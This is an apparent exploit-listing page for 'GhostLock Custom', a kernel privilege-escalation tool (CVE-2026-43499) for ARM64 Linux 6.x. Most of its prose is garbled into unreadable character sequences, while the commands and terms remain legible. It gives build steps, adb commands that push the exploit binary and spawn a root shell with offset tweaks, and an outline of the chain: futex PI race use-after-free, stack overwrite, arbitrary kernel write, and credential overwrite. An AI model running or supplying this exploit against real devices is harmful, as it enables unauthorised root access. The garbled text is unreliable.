## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIAOBAILOVESSTIRRING-GHOSTLOCK-CUSTOM
# GhostLock Custom тАФ CVE-2026-43499 рдЕрдиреБрдХреВрд▓рд┐рдд рд╕рдВрд╕реНрдХрд░рдг
рдЧреИрд░-Android Linux 6.x ARM64 рдХрд░реНрдиреЗрд▓ рдХреЗ рд▓рд┐рдП GhostLock (CVE-2026-43499) рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╢реЛрд╖рдгред
## рдХрд░реНрдиреЗрд▓ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ
рдЖрдЗрдЯрдо| рдорд╛рди
---|---
рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░| ARM64 (AArch64)
VA_BITS| 39
KIMAGE_TEXT_BASE| `0xffffffc008000000`
рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг| 6.x
SELinux| рдирд╣реАрдВ
ashmem| рдирд╣реАрдВ
configfs| рдирд╣реАрдВ
## рд╕рдВрдХрд▓рди
### рд╕реНрдерд╛рдиреАрдп рд╕рдВрдХрд▓рди (рдХреНрд░реЙрд╕-рдХрдВрдкрд╛рдЗрд▓рд░ рдЖрд╡рд╢реНрдпрдХ)
root@kitploit:~
make
### Android NDK рд╕рдВрдХрд▓рди
root@kitploit:~
make android-arm64 NDK=/path/to/android-ndk
### GitHub Actions (рдХреНрд▓рд╛рдЙрдб рд╕рдВрдХрд▓рди)
рдкреБрд╢ рдХрд░рдиреЗ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рди рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ, рдмрд╕ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред
## рдЙрдкрдпреЛрдЧ
root@kitploit:~
# рд▓рдХреНрд╖реНрдп рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдкреБрд╢ рдХрд░реЗрдВ
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# рд░реВрдЯ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
adb shell /data/local/tmp/e --shell
# pselect рдСрдлрд╕реЗрдЯ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВ (рдпрджрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# рднреМрддрд┐рдХ рд▓реЛрдб рдкрддрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
## рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░
## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╕рд┐рджреНрдзрд╛рдВрдд
1. **futex PI рд░реЗрд╕** : `FUTEX_CMP_REQUEUE_PI` `remove_waiter()` рдХрд╛ UAF рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ
2. **pselect рд╕реНрдЯреИрдХ рдУрд╡рд░рд░рд╛рдЗрдЯ** : рдореБрдХреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ `rt_mutex_waiter` `stack_fds` рдмрдлрд░ рдореЗрдВ рдЖрддрд╛ рд╣реИ
3. **PI рдЯреНрд░реА рд▓реЗрдЦрди** : рдирд┐рд░реНрдорд┐рдд рдлреЗрдХ waiter рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░реНрдиреЗрд▓ рдПрдбреНрд░реЗрд╕ рдкрд░ рдордирдорд╛рдирд╛ рд▓реЗрдЦрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
4. **cred рдУрд╡рд░рд░рд╛рдЗрдЯ** : `task_struct->cred` рдХреЛ `init_cred` рд╕реЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ
## рдЕрдиреБрдХреВрд▓рди рд╡рд┐рд╡рд░рдг
рдпрд╣ рд╕рдВрд╕реНрдХрд░рдг ghostlock-oneplus рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╕рд░рд▓реАрдХреГрдд рд╣реИ:
* SELinux рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (рдЗрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ SELinux рдирд╣реАрдВ рд╣реИ)
* ashmem/configfs рд╕рдВрдмрдВрдзрд┐рдд рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (рдЗрд╕ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рдпреЗ рдШрдЯрдХ рдирд╣реАрдВ рд╣реИрдВ)
* KernelSU рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛
* SLIDE KASLR рд▓реАрдХ рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (рдХреЛрдИ loggers/nfulnl_logger рдирд╣реАрдВ)
* Android-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЛрдб рд╣рдЯрд╛рдпрд╛ рдЧрдпрд╛ (miniADB рдЖрджрд┐)
## рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг
## рдЕрд╕реНрд╡реАрдХрд░рдг
рдпрд╣ рдЙрдкрдХрд░рдг рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдХреЗ рд▓рд┐рдП рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реНрд╡рдпрдВ рд╡рд╣рди рдХрд░рдиреА рд╣реЛрдЧреАред